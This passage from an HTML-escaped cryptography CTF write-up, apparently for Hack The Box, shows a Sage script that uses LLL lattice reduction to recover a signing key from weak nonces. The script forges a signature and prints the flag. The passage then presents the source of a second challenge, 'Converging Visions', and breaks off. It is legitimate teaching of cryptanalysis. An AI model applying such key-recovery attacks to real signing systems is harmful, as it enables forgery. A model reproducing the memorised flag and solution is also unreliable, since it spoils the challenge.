&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">temp1&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="mi">2&lt;/span>&lt;span class="o">**&lt;/span>&lt;span class="mi">256&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="o">*&lt;/span>&lt;span class="n">inverse&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">e_temp&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">],&lt;/span>&lt;span class="n">q&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">])&lt;/span> &lt;span class="o">%&lt;/span> &lt;span class="n">q&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">S&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">s0&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">s1&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">%&lt;/span> &lt;span class="n">q&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">m&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">Matrix&lt;/span>&lt;span class="p">([[&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="mi">2&lt;/span>&lt;span class="o">^&lt;/span>&lt;span class="mi">256&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">temp0&lt;/span>&lt;span class="p">],&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="mi">2&lt;/span>&lt;span class="o">^&lt;/span>&lt;span class="mi">256&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="n">temp1&lt;/span>&lt;span class="p">],&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="n">S&lt;/span>&lt;span class="p">],&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="n">q&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">]]])&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">res&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">m&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">LLL&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">H&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">msg&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">bytes_to_long&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">2&lt;/span> &lt;span class="o">*&lt;/span> &lt;span class="n">sha256&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">msg&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">digest&lt;/span>&lt;span class="p">())&lt;/span> &lt;span class="o">%&lt;/span> &lt;span class="n">q&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">sign&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">x&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">msg&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;q0 here&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">q&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">])&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">k&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">H&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">msg&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="n">long_to_bytes&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">x&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">r&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">int&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">pow&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">3&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="n">k&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="n">preal&lt;/span>&lt;span class="p">))&lt;/span> &lt;span class="o">%&lt;/span> &lt;span class="n">q&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">e&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">H&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">long_to_bytes&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">r&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="n">msg&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">s&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">k&lt;/span> &lt;span class="o">-&lt;/span> &lt;span class="n">x&lt;/span> &lt;span class="o">*&lt;/span> &lt;span class="n">e&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">%&lt;/span> &lt;span class="n">q&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">s&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">e&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">for&lt;/span> &lt;span class="n">row&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">res&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="n">row&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">2&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">1&lt;/span> &lt;span class="ow">or&lt;/span> &lt;span class="n">row&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">2&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="o">-&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">k0&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">row&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="n">k0&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">numerator&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="o">&amp;lt;&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">k0&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="o">-&lt;/span>&lt;span class="n">k0&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">k0&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">int&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">k0&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">numerator&lt;/span>&lt;span class="p">())&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">k0&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">k0&lt;/span>&lt;span class="o">*&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">2&lt;/span>&lt;span class="o">^&lt;/span>&lt;span class="mi">256&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">secret&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">k0&lt;/span> &lt;span class="o">-&lt;/span> &lt;span class="n">s_temp&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">])&lt;/span> &lt;span class="o">%&lt;/span> &lt;span class="n">q&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">secret&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">int&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">secret&lt;/span>&lt;span class="o">*&lt;/span>&lt;span class="n">inverse&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">e_temp&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">],&lt;/span>&lt;span class="n">q&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">]))&lt;/span> &lt;span class="o">%&lt;/span> &lt;span class="n">q&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">temp&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">sign&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">secret&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="sa">b&lt;/span>&lt;span class="s2">&amp;#34;&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">assert&lt;/span> &lt;span class="n">s_temp&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="n">temp&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">assert&lt;/span> &lt;span class="n">e_temp&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="n">temp&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="sa">b&lt;/span>&lt;span class="s2">&amp;#34;right hand&amp;#34;&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">hex&lt;/span>&lt;span class="p">())&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">sign&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">secret&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="sa">b&lt;/span>&lt;span class="s2">&amp;#34;right hand&amp;#34;&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Flag is: &lt;strong>HTB{full_s1z3_n0nc3_l4cks_ful1_s1z3_3ntr0py}&lt;/strong>&lt;/p>
&lt;h2 id="converging-visions">Converging Visions&lt;/h2>
&lt;ul>
&lt;li>
&lt;p>&lt;strong>Description:&lt;/strong> As you hold the relic in your hands, it prompts you to input a coordinate. The ancient scriptures you uncovered near the pharaoh&amp;rsquo;s tomb reveal that the artifact is capable of transmitting the locations of vessels. The initial coordinate must be within proximity of the vessels, and an algorithm will then calculate their precise locations for transmission. However, you soon discover that the coordinates transmitted are not correct, and are encrypted using advanced alien techniques to prevent unauthorized access. It becomes clear that the true coordinates are hidden, serving only to authenticate those with knowledge of the artifact&amp;rsquo;s secrets. Can you decipher this alien encryption and uncover the genuine coordinates to locate the vessels and destroy them?&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Category:&lt;/strong> Cryptography&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Difficulty:&lt;/strong> Hard&lt;/p>
&lt;/li>
&lt;/ul>
&lt;p>We are given a Python script.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">secret&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">FLAG&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">p&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">a&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">b&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">sage.all_cmdline&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="o">*&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">class&lt;/span> &lt;span class="nc">PRNG&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">def&lt;/span> &lt;span class="fm">__init__&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="bp">self&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">p&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">mul1&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">mul2&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">mod&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">p&lt;/span> &lt;span class="o">*&lt;/span> &lt;span class="mi">6089788258325039501929073418355467714844813056959443481824909430411674443639248386564763122373451773381582660411059922334086996696436657009055324008041039&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">exp&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">2&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">mul1&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">mul1&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">mul2&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">mul2&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">inc&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">int&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">from_bytes&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="sa">b&lt;/span>&lt;span class="s1">&amp;#39;Coordinates lost in space&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;big&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">seed&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">randint&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">2&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">mod&lt;/span> &lt;span class="o">-&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">def&lt;/span> &lt;span class="nf">rotate&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="bp">self&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">seed&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">mul1&lt;/span> &lt;span class="o">*&lt;/span> &lt;span class="nb">pow&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">seed&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">3&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">mul2&lt;/span> &lt;span class="o">*&lt;/span> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">seed&lt;/span> &lt;span class="o">+&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">inc&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">%&lt;/span> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">mod&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">seed&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nb">pow&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">seed&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">exp&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">mod&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">class&lt;/span> &lt;span class="nc">Relic&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">def&lt;/span> &lt;span class="fm">__init__&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="bp">self&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">p&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">a&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">b&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">E&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">EllipticCurve&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">GF&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">p&lt;/span>&lt;span class="p">),&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="n">a&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">b&lt;/span>&lt;span class="p">])&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">P&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="kc">None&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">EP&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="kc">None&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">p&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">p&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">prng&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">PRNG&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">p&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">a&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">b&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">def&lt;/span> &lt;span class="nf">setupPoints&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="bp">self&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">x&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="n">x&lt;/span> &lt;span class="o">&amp;gt;=&lt;/span> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">p&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="s1">&amp;#39;Coordinate greater than curve modulus&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">try&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">P&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">E&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">lift_x&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">Integer&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">x&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">EP&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">P&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">except&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="s1">&amp;#39;Point not on curve&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;Point confirmed on curve&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">P&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">],&lt;/span> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">P&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">])&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">def&lt;/span> &lt;span class="nf">nextPoints&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="bp">self&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">seed&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">enc_seed&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">prng&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">rotate&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">P&lt;/span> &lt;span class="o">*=&lt;/span> &lt;span class="n">seed&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">EP&lt;/span> &lt;span class="o">*=&lt;/span> &lt;span class="n">enc_seed&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;New Points&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">EP&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">],&lt;/span> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">EP&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">],&lt;/span> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">P&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">],&lt;/span> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">P&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">])&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">menu&lt;/span>&lt;span class="p">():&lt;/span>
